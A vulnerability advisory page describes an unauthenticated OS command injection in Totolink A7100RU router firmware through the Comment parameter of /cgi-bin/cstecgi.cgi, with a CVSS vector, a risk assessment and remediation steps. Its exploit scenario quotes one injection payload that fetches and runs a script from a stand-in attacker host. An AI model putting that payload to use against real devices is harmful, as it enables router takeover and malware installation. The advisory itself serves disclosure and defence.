EUVD-2026-21812Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
8DescriptionCVE.org
A security vulnerability has been detected in Totolink A7100RU 7.4cu.2313_b20191024. This affects the function setIpQosRules of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. The manipulation of the argument Comment leads to os command injection. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used.
AnalysisAI
OS command injection in Totolink A7100RU router firmware 7.4cu.2313_b20191024 allows unauthenticated remote attackers to execute arbitrary system commands via the Comment parameter in the setIpQosRules function exposed through /cgi-bin/cstecgi.cgi. CVSS 8.9 (Critical) with network attack vector, low complexity, and no privileges required. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Remote unauthenticated attacker can exploit the setIpQosRules CGI handler in Totolik A7100RU firmware version 7.4cu.2313_b20191024 by sending a crafted request with OS command injection payload in the Comment parameter to /cgi-bin/cstecgi.cgi. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | Real-world risk is CRITICAL for internet-facing deployments. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An external attacker scans internet-facing IP ranges for Totolink A7100RU devices by fingerprinting HTTP responses on port 80. Upon identifying a vulnerable router, the attacker sends a crafted POST request to /cgi-bin/cstecgi.cgi with a malicious Comment parameter containing shell metacharacters (e.g., '; wget http://attacker.com/malware.sh -O /tmp/bot; sh /tmp/bot #'). … |
| Remediation | No vendor-released patch identified at time of analysis. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Identify all Totolik A7100RU devices in production using network scanning and firmware inventory tools; isolate affected units from production networks if possible. …
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